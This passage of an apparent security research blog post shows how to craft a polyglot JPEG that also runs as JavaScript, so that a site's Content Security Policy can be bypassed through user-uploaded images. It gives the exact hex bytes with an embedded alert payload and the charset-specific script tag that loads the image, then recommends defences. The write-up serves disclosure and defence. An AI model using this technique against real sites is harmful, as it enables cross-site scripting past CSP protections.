FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00....
FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A
2A 2F 2F 2F FF D9
0xFF 0xD9 is the end of image marker. Great so there is our polyglot JPEG, well not quite yet. It works great if you don't specify a charset but on Firefox when using a UTF-8 character set for the document it corrupts our polyglot when included as an script! On MDN it doesn't state that the script supports the charset attribute but it does. So to get the script to work you need to specify the ISO-8859-1 charset on the script tag and it executes fine.
Here is the polyglot JPEG:
<script charset="ISO-8859-1" src="http://portswigger-labs.net/polyglot/jpeg/xss.jpg"></script>
File size restrictions
FF D8 FF E0 09 3A 4A 46 49 46 2F 2A
FF D8 FF E0 09 3A 4A 46 49 46 2F 2A 01 01 00 48 00 48 00 00 00 00 00 00 00 ... (padding more nulls) 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A
Here is the smaller graphic:
If you allow users to upload JPEGs, these uploads are on the same domain as your app, and your CSP allows script from "self", you can bypass the CSP using a polyglot JPEG by injecting a script and pointing it to that image.
In conclusion if you allow JPEG uploads on your site or indeed any type of file, it's worth placing these assets on a separate domain. When validating a JPEG, you should rewrite the JPEG header to ensure no code is sneaked in there and remove all JPEG comments. Obviously it's also essential that your CSP does not whitelist your image assets domain for script.
This post wouldn't be possible without the excellent work of Ange Albertini. I used his JPEG format graphic extensively to create the polygot JPEG. Jasvir Nagra also inspired me with his blog post about polyglot GIFs.
Mozilla are fixing this in Firefox 51.